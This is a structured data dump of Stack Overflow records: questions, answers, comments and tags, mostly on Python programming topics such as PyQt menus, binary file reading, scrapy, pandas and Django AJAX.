has answer: http://stackoverflow.com/a/48744717
answer count: 3
upvote count: 1
has answer: http://stackoverflow.com/a/48744645
possible better answer: http://stackoverflow.com/a/48744560
has answer: http://stackoverflow.com/a/48744560
has body: dict_data = {'1-0': [5400, 3601], '1-1': [2550, 1651], '1-3': [5400, 3601], '1-4': [5400, 3601], '1-5': [5400, 3601], '10-0': [3601, 2700]} In this example the output i'd like to get is all the values so the output for this example should be a list of lists giving these values when printing all its elements, basically the value should occur only once in that list of lists we will create now matter how many times it appears as value or keys in dict_data: [2550, 1651] [5400, 3601] [3601, 2700]
score: -3
downvote count: 4
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48744645
favorite count: 0
tagged with: python-3.x
type: Question
tagged with: python

http://stackoverflow.com/comment/84352794
type: QuestionComment
type: Comment
has text: I understand that, but I'm asking what *Selenium* can see. When you use Selenium to find elements in the DOM, it captures whatever exists, regardless of whether it is visible to *you* at that moment. To be certain about what is actually present in the DOM, you'll need to use your browser's developer tools to inspect the live DOM tree. E.g., in Chrome, you can right-click on the table and select "Inspect" to see the full tree. From there, you should be able to see how many elements are actually in the ` ` element.
comment on: http://stackoverflow.com/q/48657980
score: 0

http://stackoverflow.com/comment/84409679
comment on: http://stackoverflow.com/q/48700617
score: 0
type: QuestionComment
type: Comment
has text: I have edited the question to include the code(i.e. changes in the Cifar 10 tutorial code in tensorflow website)

http://stackoverflow.com/q/48769227
has body: I have a problem when I try to read a binary file in python. I can read this binary file easily with MATLAB: file_id = fopen("file.bin", "r"); file = fread(file_id); fclose(file_id); dataA = typecast (uint8(file),"uint16"); data = double(dataA); But I now have to read it with python, I tried several methods : import numpy as np import base64 file_id = open("file.bin", "rb"); file = file_id.read(); Method 1: A = base64.b64decode(file); file = np.uint16(A); Method 2: A = file.decode(encoding='utf-16', errors='ignore'); Method 3: A = bytes(file).decode(encoding='utf-16', errors='strict') Method 4: with codecs.open('file.bin', 'r', encoding='utf-8', errors='strict') as fdata: A = codecs.lookup(fdata); ... file_id.close; But the format is still not good I can't read the file. I should get an integer sequence but I get only special characters, you have an idea?
upvote count: 2
has comment: http://stackoverflow.com/comment/84539945
favorite count: 0
tagged with: binary
type: UnansweredQuestion
tagged with: python
score: 2
downvote count: 0
answer count: 0
has comment: http://stackoverflow.com/comment/84565034
type: Question
has title: How to read Binary file on PYTHON from unknown encoding?
tagged with: encoding

hash
tags question: http://stackoverflow.com/q/48772631
tags question: http://stackoverflow.com/q/48697120
type: Tag
tags question: http://stackoverflow.com/q/48652762
tag name: hash

http://stackoverflow.com/comment/105376995
score: 1
comment on: http://stackoverflow.com/a/53123720
type: AnswerComment
has text: Your answer fixed my problem :) Don't know why it's at the bottom.
type: Comment

http://stackoverflow.com/q/48796093
accepted answer: http://stackoverflow.com/a/48796437
has title: Hiding QWidgetAction just grey it out
tagged with: python
tagged with: pyqt5
type: Question
tagged with: qt
has body: I'm trying to build a menu with some QWidgetAction. Some of them can be hidden (using setVisible()), depending on the current state of the program. When I hide a QWidgetAction, it isn't really hidden but seems to only be disabled, and other actions are drawn over it. Here's a little test script that shows the issue : from PyQt5 import QtGui, QtWidgets import sys widgetActions = [] def buttonClicked(): widgetActions[0].setVisible(not widgetActions[0].isVisible()) if __name__ == '__main__': app = QtWidgets.QApplication(sys.argv) w = QtWidgets.QMainWindow() w.resize(250, 150) w.move(300, 300) w.setWindowTitle('QWidgetAction bug') menuBar = QtWidgets.QMenuBar(w) menu = menuBar.addMenu('Test') for i in range(10): widget = QtWidgets.QLabel('XXXXXXXXXXX' if not i else '------------') widgetAction = QtWidgets.QWidgetAction(menuBar) widgetAction.setDefaultWidget(widget) menu.addAction(widgetAction) widgetActions.append(widgetAction) button = QtWidgets.QPushButton(QtGui.QIcon(), 'Hide/show first action', w) button.move(20, 50) button.resize(200, 40) button.clicked.connect(buttonClicked) w.show() sys.exit(app.exec()) See below the result and how the first QWidgetAction stays visible under another action. Am I doing something wrong or am I just hitting a Qt bug ? For information, I'm using Qt-5.9.4 on Linux.
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48796437
tagged with: pyqt
answer count: 1
tagged with: qwidgetaction
score: 0

http://stackoverflow.com/comment/113735543
type: Comment
comment on: http://stackoverflow.com/a/48681267
type: AnswerComment
score: 0
has text: All I mean to ask is, in the pipeline you have defined, every step operates on all the columns, what if a step operates only on some and all the remaining columns doesn't need to be dropped. from what i have read on documentation to learn pipelines, each step takes as input, the output of previous step. And if a step has been defined to operate only on some columns, it will discard the rest, which is not ideal. And there may even be some steps that operate on some columns that do not necessarily need to be dropped after having generated features from it. I hope I have been clear.

http://stackoverflow.com/comment/84364843
score: 0
comment on: http://stackoverflow.com/q/48655372
type: QuestionComment
has text: solved using subprocess.Popen, but i'm still curious what's happening with os.system(). @miracle173 comspec is C:\Windows\system32\cmd.exe
type: Comment

http://stackoverflow.com/a/48714256
type: Answer
accepted answer of: http://stackoverflow.com/q/48713295
type: AcceptedAnswer
has body: It seems that if the lambda function does not exist the popup is destroyed, verify this by adding the following: class MyPopup(QWidget): def __init__(self, i): [..] self.destroyed.connect(lambda: print("destroyed")) in the case where there was no lambda, the message was printed, while in the other case it was not. So the solution is to destroy it manually using the deleteLater() method: def doit(self): print ("Opening a new popup window...") if self.w: self.w.deleteLater() self.w = MyPopup() self.w.setGeometry(QRect(100, 100, 400, 200)) self.w.show()
answers question: http://stackoverflow.com/q/48713295
score: 0

http://stackoverflow.com/a/48669881
has body: You cannot restore angle sign information because it was loosed in A,B calculation (formation). 8 possible combinations of sin/cos signs give only 4 results of A/B signs (and sign of cos(a2) cannot help here). Note that for spherical coordinates inclination range is only 0..Pi
score: 1
answers question: http://stackoverflow.com/q/48669422
upvote count: 1
type: Answer
downvote count: 0

http://stackoverflow.com/q/48692446
has comment: http://stackoverflow.com/comment/84383385
has comment: http://stackoverflow.com/comment/84383293
has title: Extract class name in scrapy
has comment: http://stackoverflow.com/comment/84383167
tagged with: python
has answer: http://stackoverflow.com/a/48692668
accepted answer: http://stackoverflow.com/a/48692668
type: AnsweredQuestion
downvote count: 0
score: 7
has comment: http://stackoverflow.com/comment/84383431
possible better answer: http://stackoverflow.com/a/48696859
tagged with: web-scraping
tagged with: scrapy
type: Question
has comment: http://stackoverflow.com/comment/84386164
has answer: http://stackoverflow.com/a/52864690
has comment: http://stackoverflow.com/comment/84383614
has body: I am trying to scrape rating off of trustpilot.com. Is it possible to extract a class name using scrapy? I am trying to scrape a rating which is made up of five individual images but the images are in a class with the name of the rating for example if the rating is 2 starts then: &lt;div class="star-rating count-2 size-medium clearfix"&gt;... if it is 3 stars then: &lt;div class="star-rating count-3 size-medium clearfix"&gt;... So is there a way I can scrape the class count-2 or count-3 assuming a selector like .css('.star-rating')?
answer count: 3
tagged with: css-selectors
upvote count: 7
has answer: http://stackoverflow.com/a/48696859
favorite count: 0

http://stackoverflow.com/q/48695974
tagged with: while-loop
has comment: http://stackoverflow.com/comment/84390797
possible better answer: http://stackoverflow.com/a/48696090
has answer: http://stackoverflow.com/a/48696090
tagged with: python
accepted answer: http://stackoverflow.com/a/48696130
type: AnsweredQuestion
tagged with: list
has body: I am struggling to understand why when i input the players choice it keep looping even if they type the right warrior type. would be most grateful if anyone can help. playerchoice = "" confirmwarrior = "" warriortype = ("swordsman", "wizard", "archer", "healer") while playerselection != warriortype: playerselection = input(""" please select the type of warrior you wish to be: - Swordsman - Wizard - Archer - Healer """).lower() else: print("you have entered and incorrect Warrior, please try again") print("your chosen Warrior is",playerselection) while confirmwarrior != "y": confirmwarrior = input(""" are you happy with this Warrior? stefan y - yes N - No """) confirmwarrior.lower() print("you have Chosen to be", playerselection)
type: Question
has comment: http://stackoverflow.com/comment/84390905
has comment: http://stackoverflow.com/comment/84390825
has title: how to match an input to a item in a list within a while loop - python
score: 0
has answer: http://stackoverflow.com/a/48696130
answer count: 2
has comment: http://stackoverflow.com/comment/84390976
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/84390929

http://stackoverflow.com/q/48796611
answer count: 1
has comment: http://stackoverflow.com/comment/84595912
has answer: http://stackoverflow.com/a/48796752
has comment: http://stackoverflow.com/comment/84595732
tagged with: python
favorite count: 0
type: UnansweredQuestion
downvote count: 2
upvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/84596836
has body: I'm new to Python and I'm trying to output fields to a text file. I've been able to throw the output to a text file but it's got "[" and "]" bracketing each row and is separated by commas. I don't want the enclosing brackets and I have a date field that contains a comma so I need the fields to be separated by semi-colons. Here's an example of the code that I'm using: f=open("output.txt","a+") for item in x['data']: print "Variable 1: " + str(var1) print "Variable 2: " + str(var2) a=str(var1.strip()) b=str(var2.strip()) row = "%s\n" % [a,b] f.write(row) My output looks like this: ['var1', 'var2'] I want it to look like this: 'var1'; 'var2' Any help would be greatly appreciated.
score: -1
has title: Python write output separated by semi-colon

utf-16
tags question: http://stackoverflow.com/q/48677520
tag name: utf-16
type: Tag

http://stackoverflow.com/comment/84506001
type: QuestionComment
has text: Concatenate all arrays into one (may need to flatten the 2d ones), and take the max.
comment on: http://stackoverflow.com/q/48752583
score: 0
type: Comment

http://stackoverflow.com/comment/84332063
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48667154
type: AnswerComment
has text: it won't work if I'll have a list with numbers all equal like `[2, 2, 2]`

http://stackoverflow.com/comment/84477657
score: 1
has text: Python is an interpreted language, and so isn't generally considered to be compiled (there's no out of the box way to create a .exe or elf binary from a batch of code). There are some tools that will essentially bundle your code with a complete python interpreter and let others run it as an executable. See cx-freeze, pyinstaller, py2exe for examples of those.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48738971

http://stackoverflow.com/q/48654499
has comment: http://stackoverflow.com/comment/84307260
has comment: http://stackoverflow.com/comment/84330628
tagged with: pandas
has body: I've been reading so much about json_normalize and trying so many things. I've been through the other json_normalize info on stacked_overflow and been reading through examples, but I just don't know how to get the output I want. This is a subset of my JSON file: 'sales': 114812.79, 'sumOfSquares': 19528485.2151}}, 'timeToConversion': {'totals': {'sumOfSquares': 113163924542924.0, 'total': 88221776.0}}, 'visit': {'totals': {'conversions': 2234, 'entries': 93297}}, 'visitor': {'totals': {'conversions': 2207, 'entries': 60236}}}}] I need the row names to be the experience LocalID and the column names to be impression.conversions, impressions.entries, landing.conversions, landing.entries, so on. I only really need impressions, landings, visit, and visitor. I don't need to loop through the orders dictionary. Something like this: When I try to do results = json_normalize(data = newdata, record_path="totals)" I just get a list of "impression", "landing", so on. I tried to go deeper, but I need a way to loop through this, because the names "impression", "landing" might change in future files.
type: UnansweredQuestion
tagged with: python
has title: JSON_Normalize nested dictionary - some keys
answer count: 0
tagged with: http://stackoverflow.com/tag/json
score: 0
type: Question

http://stackoverflow.com/a/48664026
answers question: http://stackoverflow.com/q/48659092
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48659092
has body: This manipulates the dictionary to the format you require. But exporting as json may be another issue. d = [ {'airfare': 1000, 'place': 'nameOfPlace', 'email_to': 'yahooEmail@yahoo.com, gmailEmail@gmail.com'}, {'airfare': 2000, 'place': 'nameOfPlace', 'email_to': 'yahooEmail@yahoo.com'}, {'airfare': 3000, 'place': 'nameOfPlace', 'email_to': 'gmailEmail@gmail.com'}, {'airfare': 4000, 'place': 'nameOfPlace', 'email_to': 'liveEmail@live.com'} ] from collections import defaultdict d_new = defaultdict(lambda: defaultdict(list)) for i in d: i['email_to'] = i['email_to'].split(', ') for email in i['email_to']: d_new[email]['flight_details'].append({'airfare': i['airfare'], 'place': i['place']}) d_new # defaultdict(&lt;function __main__.&lt;lambda&gt;&gt;, # {'gmailEmail@gmail.com': defaultdict(list, # {'flight_details': [{'airfare': 1000, # 'place': 'nameOfPlace'}, # {'airfare': 3000, 'place': 'nameOfPlace'}]}), # 'liveEmail@live.com': defaultdict(list, # {'flight_details': [{'airfare': 4000, # 'place': 'nameOfPlace'}]}), # 'yahooEmail@yahoo.com': defaultdict(list, # {'flight_details': [{'airfare': 1000, # 'place': 'nameOfPlace'}, # {'airfare': 2000, 'place': 'nameOfPlace'}]})})
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/84365924
score: 1

http://stackoverflow.com/a/48707444
answers question: http://stackoverflow.com/q/48704105
has body: The _post_put_hook() of NDB.Model does only work if you have written the entity through NDB to Datastore, and yes, unfortunately the NDB library is only available in App Engine Python Standard Environment. I don't know of such feature in Cloud Datastore. If I remember correctly, Firebase Realtime Database or Firestore have triggers for writes, but I guess you are not eager to migrate the database neither. In Datastore you would either need a "proxy" API with the above method as you suggested, or you would need to modify your Datastore client(s) to do this upon any successful write op. The latter may come with higher risk of fails and stale data in ElasticSearch, especially if the client is outside your control. I believe that a custom API makes sense if consistent and up-to-date search records is important for your use-cases. Datastore and Python / NDB (maybe with Cloud Endpoints) would be a good approach. I have a similar solution running on GAE Python Standard (although with the builtin Search API instead of ElasticSearch). If you choose this route you should be aware of two potential caveats: _post_put_hook() is always called, even if the put operation failed. I have added a code sample below. You can find more details in the docs: model hooks, hook methods, check_success() Exporting the data to ElasticSearch or Search API will prolong your response time. This might be no issue for background tasks, just call the export feature inside _post_put_hook(). But if a user made the request, this could be a problem. For these cases, you can defer the export operation to a different thread, either by using the deferred.defer() method or by creating a push task). More or less, they are the same. Below, I use defer(). Add a class method for every kind of which you want to export search records. Whenever something went wrong or you move apps / datastores, add new search indexes etc. you can call this method that will then query all entities of that kind from datastore batch …
downvote count: 0
score: 4
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/48704105
type: Answer
upvote count: 4

http://stackoverflow.com/comment/84334051
type: AnswerComment
type: Comment
has text: Thank you guys, this was exactly what I was looking for. I will try both these as soon as I get my hands back on the pi :)
comment on: http://stackoverflow.com/a/48662775
score: 0

http://stackoverflow.com/comment/84452615
type: Comment
comment on: http://stackoverflow.com/a/48712322
has text: Thanks, but foo.py was written for python2, so it throws some error with python3, any solution with python2 is appreciated. thanks again.
score: 0
type: AnswerComment

http://stackoverflow.com/q/48745053
favorite count: 0
upvote count: 2
tagged with: python
has body: First I'm on Mac OSX 10.12.6. I want to embed a python environment in my C application. I take the github python project at https://github.com/python/cpython and manage to compile it with it's configure file and the command lines : env LINKFORSHARED="-Wl,-stack_size,1000000 -framework CoreFoundation" LDFLAGS="-Wl,-syslibroot,$SDK -arch i386" CFLAGS="-Os -isysroot $SDK -arch i386" ./configure MACOSX_DEPLOYMENT_TARGET=10.6 --disable-shared --prefix=$PYTHON_PATH --exec-prefix=$PYTHON_PATH -build=i386-darwin make make altinstall ($SDK point to MacOSX.sdk inside Xcode.app) it gives me a libPython.a for 32bits then I redo it for 64bits and merge both with lipo -create libPython32.A libPython64.a libPython32-64.a In my XCode project, on .xconfig file, I import the lib and headers files with : OTHER_LDFLAGS = $(inherited) -lpython32-64; USER_HEADER_SEARCH_PATHS = $(inherited) $(LIBS)/cpython35/include LIBRARY_SEARCH_PATHS = $(inherited) $(LIBS)/cpython35/lib; Everything is found and my project compiles, no problem seen. And then in my python.c file (I reduced my path for this article, that's why '...') : wchar_t *stdProgramName = L".../LIBs/cpython35/bin/python3.5"; Py_SetProgramName(stdProgramName); wchar_t *stdPythonHome = L".../LIBs/cpython35"; Py_SetPythonHome(stdPythonHome); wchar_t *stdlib = L".../LIBs/cpython35/lib/python3.5.zip:.../LIBs/cpython35/lib/python3.5:.../LIBs/cpython35/lib/python3.5/plat-darwin:.../LIBs/cpython35/lib/python3.5/lib-dynload:.../LIBs/cpython35/lib/python3.5/site-packages"; Py_SetPath(stdlib); Py_Initialize(); // Run something PyRun_SimpleString("import sys; print(sys.path)"); //To this line it's work fine, all path are correcte but then PyRun_SimpleString("import math;"); Py_Finalize(); the import of the math librarie does not work, it gives me : Traceback (most recent call last): File "&lt;string&gt;", line 1, in &lt;module&gt; ImportError: dlopen(.../LIBs/cpython35/lib/python3.5/lib-dynload/math.cpython-35m-darwin.so, 2): Symbol not found: …
has title: Embeded Python, import math error
tagged with: embed
type: AnsweredQuestion
score: 2
has answer: http://stackoverflow.com/a/48785407
type: Question
tagged with: http://stackoverflow.com/tag/c
tagged with: xcode
answer count: 1
downvote count: 0
accepted answer: http://stackoverflow.com/a/48785407
tagged with: macos

http://stackoverflow.com/q/48801111
has answer: http://stackoverflow.com/a/48803909
tagged with: odoo
type: Question
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/48804716
has comment: http://stackoverflow.com/comment/84609340
has comment: http://stackoverflow.com/comment/84605410
has comment: http://stackoverflow.com/comment/84609641
has title: the way to get a datetime from datetime + float on odoo
tagged with: python
has comment: http://stackoverflow.com/comment/84604927
accepted answer: http://stackoverflow.com/a/48804716
has body: i want to know session_finish from session_start + duration. the session_start type is date and the duration is float. @api.onchange('session_start') def onchange_session_start(self): for record in self: if self.session_start is not None : self.session_finish = self.session_start + self.duration
possible better answer: http://stackoverflow.com/a/48803909
type: AnsweredQuestion

http://stackoverflow.com/a/48759110
score: 3
upvote count: 3
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48758789
type: Answer
has body: Your algorithm is almost correct except for the line 21: if r != i and c != j: cnt += count_houses(mat, visited, r, c) Instead you want to use or as you want to continue counting provided at least one of the coordinate is not the same as your center. if r != i or c != j: cnt += count_houses(mat, visited, r, c) An alternate and more intuitive way to write this would be the following if (r, c) != (i, j): cnt += count_houses(mat, visited, r, c)
answers question: http://stackoverflow.com/q/48758789

http://stackoverflow.com/comment/122798655
has text: Well its more an issue of not getting repeats. I actually recently solved this by using the approach in this answer and a linear congruential generator (can create a full arbitrary-period random iteration) instead of randint.
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/53895551

http://stackoverflow.com/a/48654091
has comment: http://stackoverflow.com/comment/84313247
type: Answer
answers question: http://stackoverflow.com/q/48653893
has body: I would try: pd.merge(df, df2, on=['0', '1']) maybe pd.merge(df, df2, on=[0,1]
upvote count: 4
accepted answer of: http://stackoverflow.com/q/48653893
type: AcceptedAnswer
downvote count: 0
score: 4

http://stackoverflow.com/q/48726201
tagged with: python
type: AnsweredQuestion
tagged with: list
accepted answer: http://stackoverflow.com/a/48726249
has title: How can I get the equivalent form of this list?
upvote count: 1
downvote count: 1
has body: I have the following list in Python: M = np.array([image_array_to_vector1,image_array_to_vector2,image_array_to_vector3,image_array_to_vector4]) where each item represents an image that has been converted to a vector using the ravel() function. M in this case looks as follows: [[165 176 186 ..., 0 1 1] [ 46 44 46 ..., 57 49 44] [ 97 113 109 ..., 46 49 69] [139 111 101 ..., 244 236 236]] Rather than doing that manually as shown above, I did the following instead: for root, dirs, files in os.walk(path): for file in files: image = Image.open(root + '/' + file) image_array = np.array(image) image_array_to_vector = image_array.ravel() X.append(image_array_to_vector) When I print X, I get the following: [array([165, 176, 186, ..., 0, 1, 1], dtype=uint8), array([46, 44, 46, ..., 57, 49, 44], dtype=uint8), array([ 97, 113, 109, ..., 46, 49, 69], dtype=uint8), array([139, 111, 101, ..., 244, 236, 236], dtype=uint8)] Is the second form considered the same as the first one? As the second form includes array and dtype in the output. Thanks.
type: Question
tagged with: python-imaging-library
tagged with: numpy
score: 0
answer count: 1
has answer: http://stackoverflow.com/a/48726249
favorite count: 0

http://stackoverflow.com/a/48691568
score: 0
type: Answer
answers question: http://stackoverflow.com/q/48691162
has body: There are some ways to hide the code cells. Here is a Jupyter notebook extension for hiding code cells. If you only would like to share the results of your work, I guess after setting your DB connection/parameter you can just delete the cell that contains the sensitive information.

http://stackoverflow.com/a/48769696
downvote count: 0
answers question: http://stackoverflow.com/q/48769225
score: 1
upvote count: 1
type: AcceptedAnswer
has body: To get your current complete pathname you can use os.path.realpath(os.path.curdir) As for the confusion, print the sys.argv to inspect it. Its content can hold different values, depending on how your script has been called. If I just enter into the python interpreter it holds a list with an empty string, but if I call python myscript.py, it will hold the script name followed by any arguments.
type: Answer
accepted answer of: http://stackoverflow.com/q/48769225

http://stackoverflow.com/q/48677931
tagged with: response
tagged with: javascript
has answer: http://stackoverflow.com/a/48687997
type: AnsweredQuestion
downvote count: 0
score: 1
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/48687997
upvote count: 1
tagged with: python
tagged with: node.js
has title: Send a custom response back to python code from the Node.js server, for a POST request
has body: I am running a Python code to post some data to my Node.js server. Upon receiving the data at the server, i need the Node.js server to send a custom response back to the Python along with the status code. I am using pure Node.js. No frameworks like Express or Hapi is used. My code works perfectly but i am not able to print the desired message. Part of my Python Code used to post the data import requests, json payload = { "DevId" : 'R', "Sdata" : 'S', "TimeS" : 'T', "RSSI" : 'U' } jsonPayload=json.dumps(payload) headers = {'Content-Type': 'application/json'} post_res =requests.post(url='http://localhost:5555/',data=jsonPayload, headers=headers) print post_response What i have tried at the Node.js server are. 1. response.writeHead(200, { 'Content-Type': 'text/plain'}); response.end('Server has received the data') Output : &lt;Response [400]&gt; 2. response.writeHead(200, { 'Content-Type': 'text/plain','Trailer': 'Server-Message' }); response.addTrailers({ 'Server-Message': 'Ok' }); response.end(); Output : &lt;Response [200]&gt; 3. var message = 'Invalid Device ID'; response.writeHead(400, message, {'content-type' : 'text/plain'}); response.end(message); Output : &lt;Response [400]&gt; I didn't get any error for the above code, so i don't know what i am doing wrong. My desired output is, along with the status code i need to print a custom message received from the server, in the terminal i am executing the Python code. &lt;Response [200]&gt; "The server has received the message"
answer count: 1

http://stackoverflow.com/q/48650234
has comment: http://stackoverflow.com/comment/84308243
type: Question
score: 0
has body: I am using a DLL library to call functions to operate a camera in python, and i'm able to retrieve the image using ctypes but it's formatted incorrectly. The returned image is duplicated and half of it is blank. what do i need to do to fix this? I have a labview program that correctly takes images from the camera, so that is how they are supposed to look like. Correct image retrieved using Labview Image retrieved using Python: the image is duplicated and also sideways in python. python code: from ctypes import * import numpy as np import matplotlib.pyplot as plt mydll = windll.LoadLibrary('StTrgApi.dll') hCamera = mydll.StTrg_Open() print(hCamera) im_height = 1200 im_width = 1600 dwBufferSize = im_height * im_width pbyteraw = np.zeros((im_height, im_width), dtype=np.uint16) dwNumberOfByteTrans = 0 dwNumberOfByteTrans = (c_ubyte * dwNumberOfByteTrans)() dwFrameNo = 0 dwFrameNo = (c_ubyte * dwFrameNo)() dwMilliseconds = 3000 mydll.StTrg_TakeRawSnapShot(hCamera, pbyteraw.ctypes.data_as(POINTER(c_int16)), dwBufferSize*2, dwNumberOfByteTrans, dwFrameNo, dwMilliseconds) print(pbyteraw) plt.matshow(pbyteraw) plt.show() C++ code for taking the image: DWORD dwBufferSize = 0; if(!StTrg_GetRawDataSize(hCamera, &amp;dwBufferSize)) { _tprintf(TEXT("Get Raw Data Size Failed.\n")); return(-1); } PBYTE pbyteRaw = new BYTE[dwBufferSize]; if(NULL != pbyteRaw) { DWORD dwNumberOfByteTrans = 0; DWORD dwFrameNo = 0; DWORD dwMilliseconds = 3000; for(DWORD dwPos = 0; dwPos &lt; 10; dwPos++) { if(StTrg_TakeRawSnapShot(hCamera, pbyteRaw, dwBufferSize, &amp;dwNumberOfByteTrans, &amp;dwFrameNo, dwMilliseconds)) { TCHAR szFileName[MAX_PATH]; if(is2BytesMode) { _stprintf_s(szFileName, _countof(szFileName), TEXT("%s\\%u.tif"), szBitmapFilePath, dwFrameNo); StTrg_SaveImage(dwWidth, dwHeight, STCAM_PIXEL_FORMAT_16_MONO_OR_RAW, pbyteRaw, szFileName, 0); } else { _stprintf_s(szFileName, _countof(szFileName), TEXT("%s\\%u.bmp"), szBitmapFilePath, dwFrameNo); StTrg_SaveImage(dwWidth, dwHeight, STCAM_PI…
tagged with: ctypes
has comment: http://stackoverflow.com/comment/84301825
answer count: 1
tagged with: pointers
tagged with: python
has comment: http://stackoverflow.com/comment/84308331
has title: camera image incorrectly formatted in ctypes pointer (python)
has answer: http://stackoverflow.com/a/48659364
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/48628322
tagged with: dll
tagged with: camera

http://stackoverflow.com/comment/113374595
type: AnswerComment
score: 0
has text: @Rob - Added sample data, working well. Maybe your data are different.
comment on: http://stackoverflow.com/a/48761501
type: Comment

http://stackoverflow.com/q/48793912
has comment: http://stackoverflow.com/comment/84590348
tagged with: django
tagged with: python
has comment: http://stackoverflow.com/comment/84590024
has answer: http://stackoverflow.com/a/63133475
has comment: http://stackoverflow.com/comment/84601748
has comment: http://stackoverflow.com/comment/84605829
has body: This is what My ajax call looks like $.ajax({ url:"{% url 'handsontable' %}", data: {'getdata': JSON.stringify(hot.getData())}, dataType: 'json', type: 'POST', success: function (res, status) { alert(res); alert(status); }, error: function (res) { alert(res.status); } }); This is what my django view looks like. if request.method == 'POST': request_getdata = request.POST.get('getdata', 'None') return HttpResponse(request_getdata) The alerts in ajax return the data and "success". But my HttpResponse returns "None". Any idea why it is not passing the data through? Thanks!
has answer: http://stackoverflow.com/a/56190118
has answer: http://stackoverflow.com/a/49018395
answer count: 4
score: 8
downvote count: 0
type: UnansweredQuestion
favorite count: 0
tagged with: ajax
upvote count: 8
type: Question
has answer: http://stackoverflow.com/a/48801922
linked to: http://stackoverflow.com/q/34532573
has title: How do I get data from my AJAX Post to my Django View?

http://stackoverflow.com/q/48676069
answer count: 1
tagged with: powerschool
favorite count: 0
type: UnansweredQuestion
has title: Authenticating PowerSchool with Python
tagged with: python
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/84350785
tagged with: python-requests
has comment: http://stackoverflow.com/comment/84350664
type: Question
has comment: http://stackoverflow.com/comment/84350650
has answer: http://stackoverflow.com/a/51089490
has body: this is something that has been bothering me for a while. I want to write a program so that I may automatically log into my PowerSchool portal, which will in the future potentially let me do things such as parse my schedule and grades. The first step to that is authenticating, which has become a problem for me. import sys import os import requests import lxml import json from bs4 import BeautifulSoup def login(username, password): with requests.Session() as s: url = 'https://sisavrsb.ednet.ns.ca/guardian/home.html#sign-in-content' r = s.get(url) soup = BeautifulSoup(r.text, "lxml") token = soup.select_one("[name='pstoken']")['value'] contextdata = soup.select_one("[name='contextData']")['value'] headers = { 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'en-US,en;q=0.5', 'Connection': 'keep-alive', #'Content-Length': '423', #'Content-Type': 'application/x-www-form-urlencoded', #'Cookie': 'JSESSIONID=0B1666C446234245CECC2983F1D6CA8A; PowerSchool_Cookie_K=2069644430.1.329063952.2221457792', 'DNT': '1', #'Host': 'sisavrsb.ednet.ns.ca', 'Referer': 'https://sisavrsb.ednet.ns.ca/public/', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0' } print(contextdata) data = json.dumps({ 'account': username, #'contextData': '30A7205567365DDB643E707E25B32D43578D70A04D9F407113CF640632082056', 'contextData' : contextdata, 'credentialType': 'User Id and Password Credential', #'dbpw': '61a2474517a2f79ae0da0781b9bdf57d', #'dbpw' : password, 'pcasServerUrl': '\/', 'pstoken': token, 'pw': password, 'returnUrl': '', 'serviceName': 'PS Parent Portal', 'serviceTicket': '', 'translator_ldappassword': '', 'translator_password': '', 'translator_username': '', 'translatorpw': '' }) p = s.post(url, headers=headers, data=data, allow_redirects=True) soup = BeautifulSoup(p.text, "lxml") if p.status_code == 302: print('Success!') else: print('Aut…
tagged with: post
upvote count: 1

http://stackoverflow.com/a/48910663
score: 0
answers question: http://stackoverflow.com/q/48732704
has body: Your problem is not so clear for me, I think it needs more detailed explanation, but depended what I understood I suppose that you don't need reccurence in your network, also try to use another activation function in hidden layer, for example Softmax. I tested it on some data set of samples with 6 nodes input and 6 - output and it is being trained properly, so I there I suggest you my version: from pybrain.tools.shortcuts import buildNetwork from pybrain.datasets import SupervisedDataSet from pybrain.supervised.trainers import BackpropTrainer from pybrain.structure.modules import SoftmaxLayer ds = SupervisedDataSet(6, 6) # # fill dataset # net = buildNetwork(6, 24, 6, bias=True, hiddenclass=SoftmaxLayer) trainer = BackpropTrainer(net, ds) train: error = 10 while error &gt; 0.00001: #choose error like you want error = trainer.train() print error #just for logging #and activate print net.activate([*,*,*,*,*,*])
type: Answer

http://stackoverflow.com/a/48648646
has comment: http://stackoverflow.com/comment/84316509
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/48648597
answers question: http://stackoverflow.com/q/48648597
type: Answer
score: 2
downvote count: 0
upvote count: 2
has body: Use the start command to initiate a process. @echo off start "" foo.py start "" bar.py start "" baz.py Re comment: “is there way to start these minimized?” You can always ask about how a command works by typing the command name followed by a /?. In this case, start /? tells us its command-line options include: MIN Start window minimized. Hence, to start the application minimized, use: start "" /MIN quux.py

http://stackoverflow.com/comment/84551065
comment on: http://stackoverflow.com/a/48773837
type: Comment
score: 0
type: AnswerComment
has text: C has an `EISDIR` error, and the Windows kernel has `STATUS_FILE_IS_A_DIRECTORY`. But the Windows API layered in between these two has no error code for this case. Instead it maps `STATUS_FILE_IS_A_DIRECTORY` unhelpfully to `ERROR_ACCESS_DENIED` (5), so people waste time assuming it's a permissions problem instead of a usage problem.

http://stackoverflow.com/q/48730005
answer count: 2
has comment: http://stackoverflow.com/comment/84459277
has comment: http://stackoverflow.com/comment/84459219
has comment: http://stackoverflow.com/comment/84459205
tagged with: sockets
has answer: http://stackoverflow.com/a/48730232
has comment: http://stackoverflow.com/comment/84459193
tagged with: python
